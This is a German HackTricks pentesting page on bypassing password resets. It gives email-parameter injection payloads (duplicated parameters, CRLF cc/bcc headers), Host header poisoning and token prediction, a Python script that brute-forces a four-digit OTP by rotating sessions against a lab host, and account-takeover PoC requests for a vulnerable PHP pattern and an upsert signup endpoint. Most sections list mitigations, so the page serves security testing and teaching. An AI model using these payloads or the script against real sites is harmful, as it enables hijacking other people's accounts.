Bypass für zurückgesetzte/vergessene Passwörter

Reading time: 11 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Password Reset Token Leak Via Referrer

  • Der HTTP referer header kann den Password-Reset-Token leaken, wenn er in der URL enthalten ist. Das kann passieren, wenn ein Benutzer nach Anforderung eines Password Resets auf einen Drittanbieter-Link klickt.
  • Auswirkung: Potenzielle Account-Übernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
  • Ausnutzung: Um zu prüfen, ob ein Password-Reset-Token im referer header leakt, fordere einen Password Reset für deine E-Mail-Adresse an und klicke auf den erhaltenen Reset-Link. Ändere nicht sofort dein Passwort. Navigiere stattdessen zu einer Drittanbieter-Website (z. B. Facebook oder Twitter), während du die Requests mit Burp Suite abfängst. Untersuche die Requests, um zu sehen, ob der referer header den Password-Reset-Token enthält, da dies sensible Informationen an Dritte leaken könnte.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Angreifer können den Host header während Password-Reset-Anfragen manipulieren, um den Reset-Link auf eine bösartige Seite zu verweisen.
  • Auswirkung: Kann zu potenzieller Account-Übernahme führen, indem Reset-Tokens an Angreifer geleakt werden.
  • Abhilfemaßnahmen:
  • Validieren Sie den Host header gegen eine Whitelist erlaubter Domains.
  • Verwenden Sie sichere, serverseitige Methoden, um absolute URLs zu erzeugen.
  • Patch: Verwende $_SERVER['SERVER_NAME'], um password reset URLs zu konstruieren, anstatt $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Angreifer können die Password-Reset-Anfrage manipulieren, indem sie zusätzliche Email-Parameter hinzufügen, um den Reset-Link umzuleiten.

  • Füge die Angreifer-E-Mail als zweiten Parameter hinzu, z. B. mit &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Füge attacker email als zweiten Parameter mit %20 hinzu
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Fügen Sie die attacker email als zweiten Parameter hinzu, indem Sie | verwenden
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com

Füge attacker email als zweiten Parameter mit cc hinzu.

php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Füge die E-Mail-Adresse des Angreifers als zweiten Parameter mittels bcc hinzu
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Füge die Angreifer-E-Mail als zweiten Parameter hinzu, indem du ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Füge attacker email als zweiten Parameter im json array hinzu
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Ändern von E-Mail und Passwort eines beliebigen Benutzers über API-Parameter

  • Angreifer können E-Mail- und Passwort-Parameter in API-Anfragen manipulieren, um Kontozugangsdaten zu ändern.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Gegenmaßnahmen:
  • Stelle strikte Parameter-Validierung und Authentifizierungsprüfungen sicher.
  • Implementiere robustes Logging und Monitoring, um verdächtige Aktivitäten zu erkennen und darauf zu reagieren.
  • Referenz:
  • Full Account Takeover via API Parameter Manipulation

Keine Rate-Limitierung: Email Bombing

  • Fehlende Rate-Limitierung bei Passwort-Reset-Anfragen kann zu Email Bombing führen und den Nutzer mit Reset-E-Mails überfluten.
  • Gegenmaßnahmen:
  • Implementiere Rate-Limiting basierend auf IP-Adresse oder Benutzerkonto.
  • Setze CAPTCHA-Challenges ein, um automatisierten Missbrauch zu verhindern.
  • Referenzen:
  • HackerOne Report 280534

Herausfinden, wie das Passwort-Reset-Token generiert wird

  • Das Verstehen des Musters oder der Methode hinter der Token-Generierung kann dazu führen, Token vorherzusagen oder per Brute Force zu erraten. Einige Optionen:
  • Basierend auf Timestamp
  • Basierend auf der UserID
  • Basierend auf der E-Mail des Users
  • Basierend auf Vor- und Nachname
  • Basierend auf Geburtsdatum
  • Basierend auf Kryptographie
  • Gegenmaßnahmen:
  • Verwende starke, kryptographische Methoden zur Token-Generierung.
  • Sorge für ausreichende Zufälligkeit und Länge, um Vorhersagbarkeit zu verhindern.
  • Tools: Verwende Burp Sequencer, um die Zufälligkeit von Tokens zu analysieren.

Erratbare UUID

  • Wenn UUIDs (version 1) erratbar oder vorhersagbar sind, können Angreifer sie per Brute Force ermitteln, um gültige Reset-Tokens zu erzeugen. Prüfe:

UUID Insecurities

  • Gegenmaßnahmen:
  • Verwende GUID Version 4 für Zufälligkeit oder implementiere zusätzliche Sicherheitsmaßnahmen für andere Versionen.
  • Tools: Verwende guidtool zur Analyse und Generierung von GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulating HTTP responses to bypass error messages or restrictions.
  • Gegenmaßnahmen:
  • Implementiere serverseitige Prüfungen, um die Integrität von Responses sicherzustellen.
  • Nutze sichere Kommunikationskanäle wie HTTPS, um Man-in-the-Middle-Angriffe zu verhindern.
  • Referenz:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Testing whether expired tokens can still be used for password reset.
  • Gegenmaßnahmen:
  • Implementiere strikte Token-Ablaufrichtlinien und validiere das Token-Ablaufdatum serverseitig.

Brute Force Password Reset Token

  • Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
  • Gegenmaßnahmen:
  • Implementiere robustes Rate-Limiting und Account-Lockout-Mechanismen.
  • Überwache auf verdächtige Aktivitäten, die auf Brute-Force-Angriffe hindeuten.

Try Using Your Token

  • Testing if an attacker's reset token can be used in conjunction with the victim's email.
  • Gegenmaßnahmen:
  • Stelle sicher, dass Tokens an die Benutzersession oder andere benutzerspezifische Attribute gebunden sind.

Session Invalidation in Logout/Password Reset

  • Ensuring that sessions are invalidated when a user logs out or resets their password.
  • Gegenmaßnahmen:
  • Implementiere korrektes Session-Management und stelle sicher, dass alle Sessions beim Logout oder Passwort-Reset invalidiert werden.

Session Invalidation in Logout/Password Reset

  • Reset-Tokens sollten eine Ablaufzeit haben, nach der sie ungültig werden.
  • Gegenmaßnahmen:
  • Setze eine angemessene Ablaufzeit für Reset-Tokens und setze diese serverseitig strikt durch.

OTP rate limit bypass by changing your session

  • Wenn die Website die Benutzersession verwendet, um falsche OTP-Versuche zu zählen, und das OTP schwach ist ( <= 4 Ziffern), kann man effektiv das OTP per Brute Force erraten.
  • Ausnutzung:
  • Fordere nach Blockierung durch den Server einfach ein neues Session-Token an.
  • Beispiel code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.

Vulnerable pattern (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation-Anfrage (Konzept):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Gegenmaßnahmen:

  • Fordern Sie stets ein gültiges, zeitlich begrenztes Reset-Token, das an Account und Session gebunden ist, bevor ein Passwort geändert wird.
  • Öffnen Sie skipOldPwdCheck-Pfade niemals für nicht authentifizierte Benutzer; erzwingen Sie Authentifizierung bei regulären Passwortänderungen und prüfen Sie das alte Passwort.
  • Machen Sie nach einer Passwortänderung alle aktiven Sessions und Reset-Tokens ungültig.

Registration-as-Password-Reset (Upsert on Existing Email)

Manche Anwendungen implementieren den Signup-Handler als upsert. Wenn die E-Mail bereits existiert, aktualisiert der Handler den Benutzer-Datensatz stillschweigend, anstatt die Anfrage abzulehnen. Akzeptiert der Registration-Endpoint einen minimalen JSON-Body mit einer vorhandenen E-Mail und einem neuen Passwort, wird er effektiv zu einem pre-auth password reset ohne jegliche Besitzverifikation und ermöglicht so eine vollständige account takeover.

Pre-auth ATO PoC (Überschreiben des Passworts eines bestehenden Benutzers):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks